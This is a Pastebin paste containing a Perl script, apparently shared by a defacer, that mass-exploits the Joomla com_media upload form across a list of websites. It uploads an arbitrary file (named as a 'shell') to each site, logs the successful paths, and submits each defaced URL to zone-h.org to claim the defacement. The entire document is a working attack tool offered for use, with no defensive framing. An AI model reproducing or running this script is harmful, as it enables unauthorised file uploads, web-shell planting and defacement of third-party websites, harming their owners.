Advertisement
Mr_HaX0R

mass upload file&submit zone-h

Aug 7th, 2017
207
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.58 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3.  
  4.  
  5. use Term::ANSIColor;
  6. use LWP::UserAgent;
  7. use HTTP::Request::Common;
  8. if ($^O =~ /Win/) { system("cls"); } else { system("clear"); }
  9. print"\n";
  10. print colored ("        [mass File Uploaded and mass Submit zone-h  ]",'blue'),"\n";
  11. ;
  12.  
  13. $file = $ARGV[1];
  14. unless ($file) {
  15.  
  16. print colored (" \n\n       --=[Usage : $0 list.txt file.jpg or file.txt",'green'),"\n\n";        
  17.         exit;
  18. }
  19. open(tarrget,"<$ARGV[0]") or die "$!";
  20. while(<tarrget>){
  21. chomp($_);
  22. $webs = $_;
  23. if($webs !~ /http:\/\//)
  24. {
  25. $webs = "http://$webs";
  26. }
  27. $zeeb = $webs."/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=";
  28.  
  29. print colored "\n\n [+] Scanning -> $webs",'green';
  30.  
  31. $ua = LWP::UserAgent->new;
  32. $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");
  33. $fucki = $ua->get($zeeb);
  34. $kzz = $fucki->content;
  35. if($kzz =~/<form action="(.*?)" id=\"uploadForm\" class=\"form-horizontal\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ || $kzz =~ /<form action="(.*?)" id=\"uploadForm\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ )
  36. {
  37.        print colored "\n [+] Try Upload >> $webs",'green'; sleep(1);
  38.  
  39. $url = $1;
  40. $url =~ s/&amp;/&/gi;
  41.  
  42. } else { print colored "\n [-] com_media not found -> $webs",'red'; sleep(1); }
  43.  
  44. my $res = $ua->post($url, Content_Type => 'form-data', Content => [ Filedata => [$file] ]);
  45.  
  46. $shell = $webs."/images/".$file;
  47.  
  48. $check = $ua->get($shell);
  49. if($check->content =~/by/ || $check->is_success ) {
  50.  
  51.        print colored "\n [+] File Uploaded >> $shell\n",'yellow';
  52.  
  53. open(save ,">>save.txt");
  54. print save "$shell\n";
  55. close save;
  56.  
  57. $res= $ua->post("http://zone-h.org/notify/single",[
  58.                                'defacer'     => 'Your Zone-H name', # seu nick
  59.                                'domain1'   => $shell,
  60.                                'hackmode' => '15',
  61.                                'reason'       => '1',
  62.                                'submit'       => 'Send',
  63.                                ]);
  64.                                if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
  65.                                print colored " [+] Submit zone-h $1\n",'red'; sleep(1);
  66.                                }
  67.                                else
  68.                                {
  69.                                print colored "\n [-] Submit zone-h ERROR\n",'blue'; sleep(1);
  70.                                }
  71.  
  72. } else {  print colored "\n [-] File Upload Fail",'red';   }
  73.  
  74.  
  75. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement